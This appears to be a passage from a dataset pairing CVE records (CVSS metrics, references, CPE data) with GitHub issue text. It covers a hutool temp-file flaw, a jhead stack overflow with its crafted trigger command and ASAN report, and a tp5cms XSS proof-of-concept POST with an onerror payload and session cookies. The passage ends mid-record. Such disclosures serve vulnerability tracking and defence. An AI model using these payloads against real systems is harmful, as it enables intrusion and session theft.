railties (>= 5.0.0)
faker (2.19.0)
i18n (>= 1.6, < 2)
faraday (2.5.2)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.0)
ffi (1.15.5)
ffi (1.15.5-java)
flamegraph (0.9.5)
geocoder (1.6.5)
get_process_mem (0.2.7)
ffi (~> 1.0)
globalid (1.0.0)
activesupport (>= 5.0)
graphql (2.0.14)
graphql-batch (0.5.1)
graphql (>= 1.10, < 3)
promise.rb (~> 0.7.2)
graphql-rails_logger (1.2.3)
actionpack (> 5.0)
activesupport (> 5.0)
railties (> 5.0)
rouge (~> 3.0)
haml (5.2.2)
temple (>= 0.8.0)
tilt
heapy (0.2.0)
thor
httpclient (2.8.3)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
icalendar (2.7.1)
ice_cube (~> 0.16)
ice_cube (0.16.3)
image_processing (1.12.2)
mini_magick (>= 4.9.5, < 5)
ruby-vips (>= 2.0.17, < 3)
io-console (0.5.11)
io-console (0.5.11-java)
irb (1.3.7)
reline (>= 0.2.7)
jaro_winkler (1.5.4)
jaro_winkler (1.5.4-java)
jmespath (1.6.1)
json (2.6.2)
json (2.6.2-java)
json-jwt (1.15.3)
activesupport (>= 4.2)
aes_key_wrap
bindata
httpclient
jwt (2.5.0)
kramdown (2.4.0)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
launchy (2.4.3)
addressable (~> 2.3)
launchy (2.4.3-java)
addressable (~> 2.3)
spoon (~> 0.0.1)
letter_opener (1.7.0)
launchy (~> 2.2)
liquid (5.1.0)
listen (3.7.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
lograge (0.11.2)
actionpack (>= 4)
activesupport (>= 4)
railties (>= 4)
request_store (~> 1.0)
loofah (2.19.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
macaddr (1.7.2)
systemu (~> 2.6.5)
mail (2.7.1)
mini_mime (>= 0.1.1)
marcel (1.0.2)
memory_profiler (1.0.0)
method_source (1.0.0)
mini_histogram (0.3.1)
mini_magick (4.11.0)
mini_mime (1.1.2)
mini_portile2 (2.8.0)
minitest (5.16.3)
minitest-focus (1.3.1)
minitest (>= 4, < 6)
minitest-reporters (1.5.0)
ansi
builder
minitest (>= 5.0)
ruby-progressbar
minitest-spec-rails (6.0.4)
minitest (>= 5.0)
railties (>= 4.1)
monetize (1.9.4)
money (~> 6.12)
money (6.13.8)
i18n (>= 0.6.4, <= 2)
money-rails (1.14.0)
activesupport (>= 3.0)
monetize (~> 1.9.0)
money (~> 6.13.2)
railties (>= 3.0)
msgpack (1.4.2)
msgpack (1.4.2-java)
multi_json (1.15.0)
mysql2 (0.5.3)
net-imap (0.2.3)
digest
net-protocol
strscan
net-pop (0.1.1)
digest
net-protocol
timeout
net-protocol (0.1.3)
timeout
net-smtp (0.3.1)
digest
net-protocol
timeout
nio4r (2.5.8)
nio4r (2.5.8-java)
nokogiri (1.13.8)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nokogiri (1.13.8-java)
racc (~> 1.4)
oj (3.13.4)
orm_adapter (0.5.0)
ox (2.14.4)
parallel (1.22.1)
parser (3.1.2.1)
ast (~> 2.4.1)
pg (1.2.3)
pg_search (2.3.5)
activerecord (>= 5.2)
activesupport (>= 5.2)
phonelib (0.6.53)
prettier (3.2.2)
syntax_tree (>= 2.7.1)
syntax_tree-haml (>= 1.1.0)
syntax_tree-rbs (>= 0.2.0)
prettier_print (0.1.0)
promise.rb (0.7.4)
pry (0.14.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry (0.14.1-java)
coderay (~> 1.1)
method_source (~> 1.0)
spoon (~> 0.0)
pry-rails (0.3.9)
pry (>= 0.10.4)
pry-remote (0.1.8)
pry (~> 0.9)
slop (~> 3.0)
public_suffix (4.0.6)
puma (5.6.4)
nio4r (~> 2.0)
puma (5.6.4-java)
nio4r (~> 2.0)
pundit (2.1.1)
activesupport (>= 3.0.0)
racc (1.6.0)
racc (1.6.0-java)
rack (2.2.4)
rack-mini-profiler (2.3.3)
rack (>= 1.2.0)
rack-test (2.0.2)
rack (>= 1.3)
rails (7.0.4)
actioncable (= 7.0.4)
actionmailbox (= 7.0.4)
actionmailer (= 7.0.4)
actionpack (= 7.0.4)
actiontext (= 7.0.4)
actionview (= 7.0.4)
activejob (= 7.0.4)
activemodel (= 7.0.4)
activerecord (= 7.0.4)
activestorage (= 7.0.4)
activesupport (= 7.0.4)
bundler (>= 1.15.0)
railties (= 7.0.4)
rails-controller-testing (1.0.5)
actionpack (>= 5.0.1.rc1)
actionview (>= 5.0.1.rc1)
activesupport (>= 5.0.1.rc1)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.4.3)
loofah (~> 2.3)
railties (7.0.4)
actionpack (= 7.0.4)
activesupport (= 7.0.4)
method_source
rake (>= 12.2)
thor (~> 1.0)
zeitwerk (~> 2.5)
rainbow (3.1.1)
rake (13.0.6)
rb-fsevent (0.11.0)
rb-inotify (0.10.1)
ffi (~> 1.0)
rbs (2.0.0)
rbtree (0.4.4)
recaptcha (5.8.1)
json
redcarpet (3.5.1)
regexp_parser (2.5.0)
reline (0.2.7)
io-console (~> 0.5)
request_store (1.5.1)
rack (>= 1.4)
responders (3.0.1)
actionpack (>= 5.0)
railties (>= 5.0)
reverse_markdown (2.1.1)
nokogiri
rexml (3.2.5)
rollbar (3.2.0)
rollbar-shoryuken (1.1.0)
aws-sdk-sqs (~> 1.20, <= 2.0)
ox (~> 2.14)
rollbar (>= 2.21, <= 4.0, < 4.0)
shoryuken (>= 4.0, <= 5.3)
rouge (3.26.0)
rubocop (1.36.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.20.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.21.0)
parser (>= 3.1.1.0)
rubocop-performance (1.11.5)
rubocop (>= 1.7.0, < 2.0)
rubocop-ast (>= 0.4.0)
rubocop-rails (2.11.3)
activesupport (>= 4.2.0)
rack (>= 1.1)
rubocop (>= 1.7.0, < 2.0)
rubocop-sequel (0.3.3)
rubocop (~> 1.0)
ruby-progressbar (1.11.0)
ruby-statistics (3.0.0)
ruby-vips (2.1.4)
ffi (~> 1.12)
ruby2_keywords (0.0.5)
safely_block (0.3.0)
errbase (>= 0.1.1)
scheduled_value (1.4.0)
sorted_set (~> 1.0)
sequel (5.48.0)
set (1.0.2)
shoryuken (5.3.0)
aws-sdk-core (>= 2)
concurrent-ruby
thor
simplecov (0.21.2)
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov_json_formatter (~> 0.1)
simplecov-html (0.12.3)
simplecov_json_formatter (0.1.2)
simpleidn (0.2.1)
unf (~> 0.1.4)
skylight (5.3.2)
activesupport (>= 5.2.0)
slop (3.6.0)
solargraph (0.46.0)
backport (~> 1.2)
benchmark
bundler (>= 1.17.2)
diff-lcs (~> 1.4)
e2mmap
jaro_winkler (~> 1.5)
kramdown (~> 2.3)
kramdown-parser-gfm (~> 1.1)
parser (~> 3.0)
reverse_markdown (>= 1.0.5, < 3)
rubocop (>= 0.52)
thor (~> 1.0)
tilt (~> 2.0)
yard (~> 0.9, >= 0.9.24)
solargraph-rails (0.3.1)
activesupport
solargraph (>= 0.41.1)
sorted_set (1.0.3)
rbtree
set (~> 1.0)
sorted_set (1.0.3-java)
spoon (0.0.6)
ffi
sprockets (4.0.2)
concurrent-ruby (~> 1.0)
rack (> 1, < 3)
sprockets-rails (3.4.2)
actionpack (>= 5.2)
activesupport (>= 5.2)
sprockets (>= 3.0.0)
stackprof (0.2.17)
stripe (5.38.0)
stripe-ruby-mock (3.1.0.rc3)
dante (>= 0.2.0)
multi_json (~> 1.0)
stripe (> 5, < 6)
strscan (3.0.4)
strscan (3.0.4-java)
syntax_tree (3.3.0)
prettier_print
syntax_tree-haml (1.3.1)
haml (>= 5.2)
prettier_print
syntax_tree (>= 2.0.1)
syntax_tree-rbs (0.5.0)
prettier_print
rbs
syntax_tree (>= 2.0.1)
systemu (2.6.5)
temple (0.8.2)
term-ansicolor (1.7.1)
tins (~> 1.0)
thor (1.2.1)
tilt (2.0.11)
timeout (0.3.0)
tins (1.20.2)
twilio-ruby (5.72.0)
faraday (>= 0.9, < 3.0)
jwt (>= 1.5, <= 2.5)
nokogiri (>= 1.6, < 2.0)
typeprof (0.21.2)
rbs (>= 1.8.1)
tzinfo (2.0.5)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2021.1)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf (0.1.4-java)
unf_ext (0.0.8)
unicode-display_width (2.3.0)
uuid (2.3.9)
macaddr (~> 1.0)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.7.0)
websocket-driver (0.7.5)
websocket-extensions (>= 0.1.0)
websocket-driver (0.7.5-java)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
will_paginate (3.3.1)
with_advisory_lock (4.6.0)
activerecord (>= 4.2)
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.0)
PLATFORMS
java
ruby
DEPENDENCIES
active_storage_svg_sanitizer
activerecord-session_store
ahoy_matey
annotate!
apollo_upload_server (= 2.1.4)
aws-sdk-rails
aws-sdk-s3
aws-sdk-sns
aws-sdk-sqs
bootsnap (>= 1.1.0)
browser
cadmus (~> 0.7.1)
cadmus_navbar (~> 0.1.0)
civil_service!
cloudwatch_scheduler!
cloudwatchlogger
dalli
dead_end
debug
derailed_benchmarks
devise
devise-doorkeeper
devise-encryptable
domain_prefix
doorkeeper (= 5.6.0)
doorkeeper-jwt
doorkeeper-openid_connect
dotenv-rails
eu_central_bank
factory_bot
factory_bot_rails
faker
flamegraph
graphql (>= 2.0)
graphql-batch
graphql-rails_logger
icalendar
image_processing (~> 1.2)
letter_opener
liquid
listen
lograge
memory_profiler
minitest-focus
minitest-reporters
minitest-spec-rails
money-rails
mysql2 (~> 0.5.3)
oj (~> 3.13.4)
parallel
pg
pg_search
phonelib
prettier (= 3.2.2)
prettier_print
pry-rails
pry-remote
puma
pundit
rack-mini-profiler
rails (= 7.0.4)
rails-controller-testing
recaptcha
redcarpet
reverse_markdown
rollbar
rollbar-shoryuken
rubocop (= 1.36.0)
rubocop-performance
rubocop-rails
rubocop-sequel
ruby-vips
scheduled_value (~> 1.4.0)
sequel
shoryuken
simplecov
skylight
solargraph
solargraph-rails (= 0.3.1)
sprockets-rails
stackprof
stripe
stripe-ruby-mock (>= 3.1.0.rc3)
syntax_tree
syntax_tree-haml
syntax_tree-rbs
term-ansicolor
twilio-ruby (~> 5.72.0)
typeprof
tzinfo-data
webrick
will_paginate
with_advisory_lock
yard
RUBY VERSION
ruby 3.1.2p20
BUNDLED WITH
2.3.4
```
</details>
| Non-confidential apps should always re-prompt for user consent | https://api.github.com/repos/doorkeeper-gem/doorkeeper/issues/1589/comments | 15 | 2022-10-08T19:45:58Z | 2023-07-11T14:54:47Z | https://github.com/doorkeeper-gem/doorkeeper/issues/1589 | 1,402,044,372 | 1,589 | 5,248 |
CVE-2023-33695 | 2023-06-13T16:15:13.077 | Hutool v5.8.17 and below was discovered to contain an information disclosure vulnerability via the File.createTempFile() function at /core/io/FileUtil.java. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Mitigation",
"Third Party Advisory"
],
"url": "https://github.com/dromara/hutool/issues/3103"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Mitigation",
"Third Party Advisory"
],
"url": "https://github.com/dromara/hutool/issues/3103"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:hutool:hutool:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C24D3772-507E-4835-B431-E55F9FB9EDD0",
"versionEndExcluding": null,
"versionEndIncluding": "5.8.17",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"732"
] | 732 | https://github.com/dromara/hutool/issues/3103 | [
"Exploit",
"Issue Tracking",
"Mitigation",
"Third Party Advisory"
] | github.com | [
"dromara",
"hutool"
] | There may has a temporary file information disclosure vulnerability by use File.createTempFile().
https://github.com/dromara/hutool/blob/89832cdcce8dc3b6bed0fc1d5bdd33e36d1e599f/hutool-core/src/main/java/cn/hutool/core/io/FileUtil.java#L1007
Preamble
--------------------------------------------------------------------------
The system temporary directory is shared between all users on most unix-like systems (not MacOS, or Windows). Thus, code interacting with the system temporary directory must be careful about file interactions in this directory, and must ensure that the correct file permissions are set.
The chain of calls was detected in this repository in a way that leaves this project vulnerable.
File.createTempFile(..) -> file.delete() -> file.createNewFile().
Impact
--------------------------------------------------------------------------
This vulnerability can have one of two impacts depending upon which vulnerability it is.
1.Temporary Directory Information Disclosure - Information in this directory is visable to other local users, allowing a malicious actor co-resident on the same machine to view potentially sensitive files.
2.Temporary Directory Hijacking Vulnerability - Same impact as 1. above, but also, ther local users can manipulate/add contents to this directory. If code is being executed out of this temporary directory, it can lead to local priviledge escalation.
Other Examples
--------------------------------------------------------------------------
[CVE-2020-15250](https://github.com/advisories/GHSA-269g-pwp5-87pp) - junit-team/junit
[CVE-2021-21364](https://github.com/advisories/GHSA-hpv8-9rq5-hq7w) - swagger-api/swagger-codegen
[CVE-2022-24823](https://github.com/advisories/GHSA-5mcr-gq6c-3hq2) - netty/netty
[CVE-2022-24823](https://github.com/advisories/GHSA-269q-hmxg-m83q) - netty/netty
The Fix
--------------------------------------------------------------------------
The fix has been to convert the logic above to use the following API that was introduced in Java 1.7.
`File tmpDir = Files.createTempFile(prefix, suffix).toFile();`
The API both created the directory securely, ie with a random, non-conflicting name, with directory permissions that only allow the currently executing user to read or write the contents of this directory. | Temporary File Information Disclosure Vulnerability | https://api.github.com/repos/chinabugotech/hutool/issues/3103/comments | 1 | 2023-05-15T06:30:47Z | 2023-05-15T12:25:34Z | https://github.com/chinabugotech/hutool/issues/3103 | 1,709,406,655 | 3,103 | 5,249 |
CVE-2022-28550 | 2023-06-13T20:15:08.907 | Matthias-Wandel/jhead jhead 3.06 is vulnerable to Buffer Overflow via shellescape(), jhead.c, jhead. jhead copies strings to a stack buffer when it detects a &i or &o. However, jhead does not check the boundary of the stack buffer. As a result, there will be a stack buffer overflow problem when multiple `&i` or `&o` are given. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/Matthias-Wandel/jhead/commit/64894dbc7d8e1e232e85f1cab25c64290b2fc167"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/Matthias-Wandel/jhead/issues/51"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/Matthias-Wandel/jhead/commit/64894dbc7d8e1e232e85f1cab25c64290b2fc167"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/Matthias-Wandel/jhead/issues/51"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jhead_project:jhead:3.06:*:*:*:*:*:*:*",
"matchCriteriaId": "D05C20ED-B09A-43EE-8D82-0524C33E0E60",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/Matthias-Wandel/jhead/issues/51 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"Matthias-Wandel",
"jhead"
] | When the command contains lots of `&i` argument, the stack buffer will overflow.
https://github.com/Matthias-Wandel/jhead/blob/0e98605d0a08bc692b87ca878bb4dc7bdfc12471/jhead.c#L389-L406
In `DoCommand()`, jhead calls `shellescape()` to copy strings to stack buffer `ExecString` when it detects a `&i` or `&o`. However, jhead does not check the boundary of the stack buffer `ExecString`. As a result, the stack buffer will overflow when multiple `&i` given.
## Test Environment
Ubuntu 20.04, 64 bit
jhead (master, 0e98605)
## How to trigger
1. Compile the program with AddressSanitizer
2. Rename a jpeg file to a long name, such as `_imageaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpeg`
3. Run command `$ jhead -cmd "&i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &p" ./_imageaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpeg`
## Details
### ASAN report
```
$ ./bin_asan/bin/jhead -cmd "&i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &i &p" ./_imageaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpeg
=================================================================
==2726675==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe32482b20 at pc 0x000000504177 bp 0x7ffe3247faf0 sp 0x7ffe3247fae8
WRITE of size 1 at 0x7ffe32482b20 thread T0
#0 0x504176 in shellescape jhead.c:345:25
#1 0x504176 in DoCommand jhead.c:393:22
#2 0x4feae3 in ProcessFile jhead.c:884:13
#3 0x4feae3 in main jhead.c:1770:13
#4 0x7f1dbb26d0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41f41d in _start (/home/ubuntu178/cvelibf/test/jhead/0e98605/bin_asan/bin/jhead+0x41f41d)
Address 0x7ffe32482b20 is located in stack of thread T0 at offset 12320 in frame
#0 0x50355f in DoCommand jhead.c:359
This frame has 5 object(s):
[32, 12320) 'ExecString' (line 361) <== Memory access at offset 12320 overflows this variable
[12576, 16682) 'TempName' (line 362)
[16944, 17088) 'dummy' (line 422)
[17152, 17296) 'buf' (line 424)
[17360, 17376) 'mtime' (line 431)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow jhead.c:345:25 in shellescape
Shadow bytes around the buggy address:
0x100046488510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100046488520: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100046488530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100046488540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100046488550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100046488560: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100046488570: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100046488580: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
0x100046488590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000464885a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000464885b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2726675==ABORTING
``` | stack-buffer-overflow in shellescape() at jhead.c:345 when multiple &i given | https://api.github.com/repos/Matthias-Wandel/jhead/issues/51/comments | 1 | 2022-03-31T04:19:32Z | 2023-06-06T14:32:05Z | https://github.com/Matthias-Wandel/jhead/issues/51 | 1,187,475,752 | 51 | 5,250 |
CVE-2021-31280 | 2023-06-14T14:15:09.517 | An issue was discovered in tp5cms through 2017-05-25. admin.php/system/set.html has XSS via the keywords parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/fmsdwifull/tp5cms/issues/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/fmsdwifull/tp5cms/issues/8"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:tp5cms_project:tp5cms:*:*:*:*:*:*:*:*",
"matchCriteriaId": "867DD6A8-1CED-4FA1-B2CD-2888F8183B66",
"versionEndExcluding": null,
"versionEndIncluding": "2017-05-25",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/fmsdwifull/tp5cms/issues/8 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"fmsdwifull",
"tp5cms"
] | A xss vulnerability was discovered in tp5 v1.0.0
Poc:
```
POST /tp5cms/admin.php/system/set.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------305965989412446621523406000615
Content-Length: 440
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/tp5cms/admin.php/system/set.html
Cookie: Hm_lvt_e2ecc5a8268ea1a4c9862ec7b4ee5b11=1616071270,1616593944; UIA=LnYsM2ArXDEvK14uYl80MjdiLjIuMi1bMzVkNGA2MS41K18zLF4yXmM0NGMsK2EtLjBfNDIvKjI0NWRfYjYwLjNf; SESSaca5a63f4c2fc739381fab7741d68783=n11Zs1mLNKhaiuuCo-dWUHMUcx6LVhgqmKzBVLUdp0s; __atuvc=1%7C12; PHPSESSID=kiqmpq7bdvenup0sg9t3euflio; Hm_lpvt_e2ecc5a8268ea1a4c9862ec7b4ee5b11=1616643419
Upgrade-Insecure-Requests: 1
-----------------------------305965989412446621523406000615
Content-Disposition: form-data; name="title"
11
-----------------------------305965989412446621523406000615
Content-Disposition: form-data; name="keywords"
"><img src=xss onerror=alert(1)>
-----------------------------305965989412446621523406000615
Content-Disposition: form-data; name="description"
1
-----------------------------305965989412446621523406000615--
```
Result:


| tp5cms v1.0.0 has XSS vulnerability | https://api.github.com/repos/fmsdwifull/tp5cms/issues/8/comments | 0 | 2021-04-14T08:56:47Z | 2021-04-14T08:56:47Z | https://github.com/fmsdwifull/tp5cms/issues/8 | 857,680,898 | 8 | 5,251 |
CVE-2023-34610 | 2023-06-14T14:15:09.917 | An issue was discovered json-io thru 4.14.0 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jdereg/json-io/issues/169"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jdereg/json-io/issues/169"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:json-io_project:json-io:*:*:*:*:*:*:*:*",
"matchCriteriaId": "5A526369-41E4-476D-97B1-590AD89A0070",
"versionEndExcluding": null,
